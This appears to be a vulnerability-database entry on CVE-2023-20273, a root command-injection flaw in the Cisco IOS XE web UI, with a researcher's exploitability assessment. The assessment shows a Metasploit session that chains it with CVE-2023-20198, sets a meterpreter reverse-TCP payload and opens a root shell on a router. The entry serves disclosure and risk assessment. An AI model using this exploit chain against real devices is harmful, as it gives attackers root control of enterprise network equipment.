CVE-2023-20273

A vulnerability in the web UI feature of Cisco IOS XE Software could allow an authenticated, remote attacker to inject commands with the privileges of root. This vulnerability is due to insufficient input validation. An attacker could exploit this vulnerability by sending crafted input to the web UI. A successful exploit could allow the attacker to inject commands to the underlying operating system with root privileges.

Recent assessments:

sfewer-r7 at November 10, 2023 10:08am UTC reported:

While this vulnerability requires authentication, it can be chained with CVE-2023-20198 to achieve unauthenticated RCE on the target, as shown via the Metasploit exploit:

msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
[*] Created privilege 15 user 'sqVXixoV' with password 'ZiPbsXBu'
[*] Removing user 'sqVXixoV'
[*] Sending stage (3045380 bytes) to 192.168.86.58
[*] Meterpreter session 6 opened (192.168.86.42:4444 -> 192.168.86.58:64970) at 2023-11-06 17:01:06 +0000

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : router
OS           :  (Linux 4.19.106)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

I have marked the exploitability for this vulnerability as High, as the vulnerable Web UI component may not be enabled by default. The attacker value for this vulnerability is Very High, given the target devices running IOS XE are enterprise routers/switches/access points.

Assessed Attacker Value: 5
Assessed Attacker Value: 5Assessed Attacker Value: 4